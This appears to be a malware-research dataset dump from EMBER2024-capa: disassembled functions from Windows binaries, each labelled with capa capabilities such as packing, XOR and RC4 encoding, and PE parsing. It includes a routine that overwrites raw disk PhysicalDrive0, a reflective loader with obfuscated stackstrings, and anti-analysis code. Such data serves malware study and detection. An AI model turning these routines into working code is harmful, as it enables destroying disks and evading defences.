joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e7f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa000]
push edi
or ebp, 0xffffffff
jmp 0x40e812
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40e819
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40e808
mov eax, 1
add ebx, ebx
jne 0x40e82b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40e820
jne 0x40e83c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40e820
xor ecx, ecx
sub eax, 3
jb 0x40e850
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40e8c2
mov ebp, eax
add ebx, ebx
jne 0x40e85b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40e868
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40e88c
inc ecx
add ebx, ebx
jne 0x40e878
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40e86d
jne 0x40e889
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40e86d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40e8ac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40e89d
jmp 0x40e80e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40e8ac
add edi, ecx
jmp 0x40e80e
pop esi
mov edi, esi
mov ecx, 0x1e7
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40e8ca
cmp byte [edi], 0
jne 0x40e8ca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40e8cf
lea edi, [esi + 0xc000]
mov eax, dword [edi]
or eax, eax
je 0x40e93e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xef68]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xf008]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40e8fc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xf00c]
or eax, eax
je 0x40e938
mov dword [ebx], eax
add ebx, 4
jmp 0x40e919
call dword [esi + 0xf014]
mov ebp, dword [esi + 0xf010]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1df]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40e972
sub esp, 0xffffff80
jmp 0x4040f7
Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x15eab7c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x15eab86
pushal
call 0x15eab8c
pop ebp
sub ebp, 0x10
sub ebp, 0x11eab7c
jmp 0x15eaba2
mov eax, 0x11eab7c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5bc
mov edx, 0xf4f8437b
xor byte [eax], dl
inc eax
dec ecx
jne 0x15eabb9
jmp 0x15eabcc
invalid
Function at 0x401e40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push esi
mov ebx, dword [esi + 0xc]
push esi
lea esi, [esi]
mov byte [edx + 0x78], ch
push eax
push esi
call fcn.004086e0
mov ecx, dword [ebp + 0x7b]
mov edx, dword [0x9f40c0c8]
push eax
push ecx
add edx, 0x40
push 0xcb400eac
push edx
call dword [sym.imp.MSVCRT.dll_fprintf]
std
lodsb al, byte [esi]
add al, byte [ecx]
mov dl, 0xc4
adc al, 0x85
sal byte [edi + ecx + 0x50], 0x68
push esp
rol byte [eax - 9], cl
call dword [0x40c1c2]
push 0x6b
or byte [esi - 1], dl
adc eax, 0xaac170
pop esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
cli
xchg esi, eax

Function at 0x403d30
Capabilities:
Encode data using xor

Disassembly:
call 0x403c52
mov ecx, 0x161
call 0x403d30
rcr dword [esi + 0x30], 0x4c
push cs
pop es
xor byte [esi + ecx + 7], cl
loop 0x403d33
std
ljmp 0x3967
Function at 0x401500
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x10000000
mov dword [esp], str..PhysicalDrive0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0x406140
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
leave
ret
Function at 0x403640
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.004036a0

Function at 0x4036a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x40f050]
test esi, esi
jle 0x40378d
mov edi, dword [0x40f054]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x4036d4
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x403786
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x4036c0
mov dword [esp], eax
mov ebx, eax
call fcn.00403fe0
test eax, eax
mov edi, eax
je 0x4037ca
lea ebx, [esi + esi*2]
mov esi, dword [0x40f054]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call fcn.004040e0
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x40f054]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x4037aa
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x40377f
sub eax, 0x40
and eax, 0xffffffbf
je 0x40377f
mov eax, dword [esp + 0x20]
add ebx, dword [0x40f054]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x403794
add dword [0x40f050], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x4036de
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00403640
mov eax, dword [0x40f054]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00403640
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00403640
lea esi, [esi]
Function at 0x403c90
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40f408
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40f400]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x403ce5
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x403cde
test esi, esi
je 0x403cde
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x403cc0
mov dword [esp], 0x40f408
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x403f00
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x403f38
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x403f2e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x403f3a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x403f20
xor eax, eax
pop ebx
pop esi
ret
Function at 0x1031cbbc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10345f10]
jne 0x1031cbc6
repz ret
jmp fcn.1031ce6d
Function at 0x1031d6a0
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xbc
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dl, 0x6b
xor esi, esi
lea edi, [ebp - 0x6c]
lea ebx, [ebp - 0x2c]
mov dword [ebp - 0x90], eax
lea eax, [ebp - 0x8c]
mov byte [ebp - 0x8c], 0x56
mov byte [ebp - 0x8b], 0x69
mov byte [ebp - 0x8a], 0x72
mov byte [ebp - 0x89], 0x74
mov byte [ebp - 0x88], 0x75
mov byte [ebp - 0x87], 0x61
mov byte [ebp - 0x86], 0x6c
mov byte [ebp - 0x85], 0x41
mov byte [ebp - 0x84], 0x6c
mov byte [ebp - 0x83], 0x6c
mov byte [ebp - 0x82], 0x6f
mov byte [ebp - 0x81], 0x63
mov byte [ebp - 0x80], 0
mov byte [ebp - 0x7f], 0xbf
mov byte [ebp - 0x2c], 0x6b
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x6e
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x1f], 0xbf
mov dword [0x10345ee8], 0xb8d
mov dword [0x10345ee4], 0xcd
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x9c], edi
mov byte [ebp - 0x9d], dl
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa8], esi
jmp 0x1031d809
mov eax, dword [ebp - 0xac]
add esp, 0xbc
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
lea ecx, [ebp - 0x6c]
mov dword [0x10345ee8], 0xfffffe10
mov dword [0x10345ee4], 0x1a64
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [ebp - 0xb0], eax
call fcn.1031df10
mov dword [esp], eax
mov eax, dword [ebp - 0x94]
mov dword [esp + 4], eax
call fcn.1031d940
xor ecx, ecx
mov dword [0x10345ee8], 0x21d9
cmp eax, 0
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xac], ecx
je 0x1031d796
jmp 0x1031d843
mov eax, dword [ebp - 0xa8]
mov cl, byte [ebp - 0x9d]
movsx edx, cl
mov si, dx
mov word [ebp + eax*2 - 0x6c], si
mov edx, eax
add edx, 1
mov cl, byte [ebp + eax - 0x2b]
cmp cl, 0
mov byte [ebp - 0x9d], cl
mov dword [ebp - 0xa8], edx
je 0x1031d7a7
jmp 0x1031d809
mov eax, dword [ebp - 0xb4]
mov dword [0x10345ee4], 0x94
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x10345ee8]
add ecx, 0x9fc
mov dword [0x10345ee4], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x90]
mov dword [esp + 4], ecx
mov dword [ebp - 0xb8], eax
call fcn.1031d480
mov eax, dword [ebp - 0xb8]
mov word [eax], 0x5a4d
xor eax, eax
mov ecx, dword [ebp - 0xb8]
mov dword [ecx + 0x3c], 0xc0
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov dword [0x10345ee8], 0x10da
mov edx, dword [ebp - 0x98]
mov dword [edx + 0x30], ecx
mov ecx, dword [0x10345ee8]
mov esi, dword [ebp - 0xb8]
mov dword [edx + 4], esi
mov dword [0x10345ee4], 0x11c
add ecx, 0x1b90
mov dword [0x10345ee8], ecx
cmp esi, 0
mov dword [ebp - 0xac], eax
je 0x1031d796
mov dword [0x10345ee4], 0x48a
mov eax, dword [ebp - 0xb8]
add eax, 0x2494
mov dword [ebp - 0xac], eax
jmp 0x1031d796
Function at 0x1031dc90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x10345eec], 0
mov dword [0x10345ef0], 0
mov dword [0x10345efc], 0
mov dword [0x10345ee8], 0x263a
mov dword [0x10345ee4], 0x1b86
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
je 0x1031de17
jmp 0x1031ddfb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x2c]
mov edi, 0x100
add eax, 0xffffe647
add esi, 1
mov ebx, ecx
add ebx, 1
mov dword [ebp - 0x30], eax
mov eax, esi
mov dword [ebp - 0x34], edx
cdq
idiv edi
mov dword [0x10345eec], edx
mov dword [0x10345ee4], 0xe08
mov esi, dword [ebp - 0x1c]
movzx esi, byte [esi + edx]
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x34]
add esi, ecx
mov eax, esi
mov dword [ebp - 0x3c], edx
cdq
idiv edi
mov dword [0x10345ef0], edx
mov dword [0x10345ee4], 0x94c
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x3c]
mov cl, byte [ecx + esi]
mov byte [0x10345ef4], cl
mov edi, dword [ebp - 0x30]
mov dword [0x10345ee8], edi
mov edi, dword [ebp - 0x1c]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov dword [0x10345ee4], 0x1891
mov cl, byte [0x10345ef4]
mov edx, dword [0x10345ef0]
mov byte [edi + edx], cl
mov dword [0x10345ee8], 0x11ad
mov edx, dword [0x10345eec]
movzx edx, byte [edi + edx]
mov ecx, dword [0x10345ef0]
movzx ecx, byte [edi + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x10345efc], ecx
mov dword [0x10345ee4], 0xdf3
mov dword [0x10345ee8], 0x1469
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x38]
mov dl, byte [edx + esi]
xor dl, byte [edi + ecx]
mov ecx, dword [ebp - 0x18]
mov byte [ecx + esi], dl
mov dword [0x10345ee4], 0x1f6c
mov ecx, dword [ebp - 0x10]
cmp ebx, ecx
mov dword [ebp - 0x40], ebx
je 0x1031de44
jmp 0x1031de1f
xor eax, eax
mov ecx, 0x263a
mov edx, eax
mov esi, eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x20], ecx
jmp 0x1031dcf3
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x10345eec]
mov ecx, dword [0x10345ef0]
mov edx, dword [0x10345ee8]
mov esi, dword [ebp - 0x40]
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x20], edx
jmp 0x1031dcf3
jmp 0x1031de17
Function at 0x1031e1c0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x98
call fcn.1031db00
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x1031e28f
jmp 0x1031e345
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x38]
mov dword [esp + 0x38], eax
mov dword [0x10345ee8], 0x7d4
mov eax, dword [eax + ecx + 0x50]
mov dword [esp + 0x54], eax
mov dword [0x10345ee4], 0xffffe833
mov eax, dword [esp + 0x30]
mov dword [esp], edx
mov dword [esp + 4], eax
call fcn.1031d6a0
mov dword [0x10345ee4], 0x1531
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [0x10345ee8], 0x1920
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x24], eax
jmp 0x1031e345
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
je 0x1031e1e7
jmp 0x1031e32e
mov eax, dword [esp + 0x10]
cmp word [eax], 0x5a4d
mov dword [esp + 0x14], eax
je 0x1031e25a
jmp 0x1031e32e
lea eax, [esp + 0x38]
mov dword [0x10345ee4], 0x2c2
mov dword [esp + 0xc], eax
call fcn.1031ef50
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x18], ecx
jne 0x1031e24d
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.1031eac0
lea ecx, [0x1031f0e0]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x48], edx
mov dword [esp + 0x50], 0x238800
mov edx, dword [0x10345ed0]
mov dword [esp + 0x94], edx
mov edx, dword [0x10345ed4]
mov dword [esp + 0x84], edx
mov edx, dword [0x10345ed8]
mov dword [esp + 0x70], edx
mov edx, dword [0x10345edc]
mov dword [esp + 0x74], edx
mov edx, dword [0x10345ee0]
mov dword [esp + 0x78], edx
mov dword [0x10345ee8], 0xd80
mov dword [0x10345ee4], 0xffffff97
mov dword [esp + 8], eax
mov dword [esp + 0x10], ecx
jmp 0x1031e27b
mov eax, dword [esp + 0x14]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x10], eax
jmp 0x1031e27b
mov eax, dword [esp + 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x1031e7c0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10345ef0], 0
mov byte [0x10345ef4], 0
mov dword [0x10345ee4], 0x2679
mov dword [0x10345eec], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1031e818
xor eax, eax
mov dword [0x10345eec], 0
mov dword [ebp - 0x20], eax
jmp 0x1031e866
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10345ee4]
add eax, 0x27
mov dword [0x10345ee4], eax
mov eax, dword [0x10345eec]
add eax, 1
mov dword [0x10345eec], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1031e818
jmp 0x1031e807
mov eax, dword [0x10345ee8]
add eax, 0x251d
mov dword [0x10345ee4], eax
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x10345ef8], 0
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x10345ee8], 0x1587
mov edi, dword [0x10345ef0]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x10345ef8], esi
mov eax, esi
cdq
idiv ecx
mov dword [0x10345ef0], edx
mov dword [0x10345ee4], 0x19e3
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x10345ef4], cl
mov dword [0x10345ee4], 0x1b42
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov cl, byte [0x10345ef4]
mov esi, dword [0x10345ef0]
mov byte [ebx + esi], cl
mov dword [0x10345ee4], 0x658
mov esi, dword [0x10345eec]
add esi, 1
mov dword [0x10345eec], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x1031e866
jmp 0x1031e84f
Function at 0x1031ef50
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x34
mov dword [ebp - 8], 0
mov dword [0x10345ee8], 0x1b9e
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
mov ecx, 0x818
xor edx, edx
mov esi, dword [ebp - 8]
mov esi, dword [esi + 0x10]
mov esi, dword [esi + 0x3c]
mov dword [0x10345ee4], 0x818
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
jmp 0x1031f025
mov dword [0x10345ee4], 0x184e
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x1031effe
mov eax, dword [0x10345ee8]
add eax, 0xffffffb5
mov dword [ebp - 0x20], eax
xor eax, eax
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
jmp 0x1031f013
mov eax, dword [ebp - 0x2c]
add eax, 0xfffff7f5
mov dword [0x10345ee4], eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x34]
add eax, 1
cmp eax, 0x104
mov ecx, dword [ebp - 0x30]
mov edx, eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x38], eax
jl 0x1031f025
jmp 0x1031f041
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x1031f0ae
jmp 0x1031efb5
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [0x10345ee4], ecx
add esp, 0x34
pop esi
pop ebp
ret
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
cmp word [edx + eax*2], 0
mov esi, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x38], esi
jne 0x1031efcf
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x1c], eax
jne 0x1031efb5
mov dword [0x10345ee4], 0x262f
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x1031efb5
mov eax, dword [0x10345ee8]
add eax, 0xfffff9ea
mov dword [0x10345ee4], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x1031efb5
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x1031ef9c
jmp 0x1031efb5
mov eax, 0xbb7
mov ecx, 1
mov dword [0x10345ee8], 0xa3c
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x1c]
cmp word [edx + esi*2 - 0xe], 0x6c
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
je 0x1031f013
jmp 0x1031efb5
Function at 0x10003fe5
Capabilities:
Check for time delay via gettickcount
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov ebx, eax
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x10004021
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
mov eax, dword [0x10080e5c]
test eax, eax
je 0x10004043
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x10004043
push 0
push dword [0x10080e5c]
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, ebx
cmp eax, dword [ebp + 8]
jbe 0x10003ff7
pop esi
pop ebx
leave
ret

Function at 0x1000557b
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
lea eax, [ebp - 4]
push eax
push str.AppEventsSchemesAppsExplorerNavigating.Current
xor esi, esi
push SysReAllocStringLen
mov ebx, ecx
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp dword [ebp - 4], esi
je 0x100055e4
lea eax, [ebp - 8]
push eax
add ebx, 0x16
push ebx
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push dword [ebp - 4]
mov dword [ebp - 8], 0x1ff
mov dword [ebp - 0xc], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push esi
push 0x10063dfc
push 1
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
leave
ret

Function at 0x10005657
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
lea eax, [ebp - 4]
push eax
push str.AppEventsSchemesAppsExplorerNavigating.Current
push SysReAllocStringLen
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp dword [ebp - 4], 0
je 0x100056a7
lea ecx, [esi + 0x16]
mov eax, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10005684
sub eax, esi
push eax
push ecx
push 1
push 0
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
leave
ret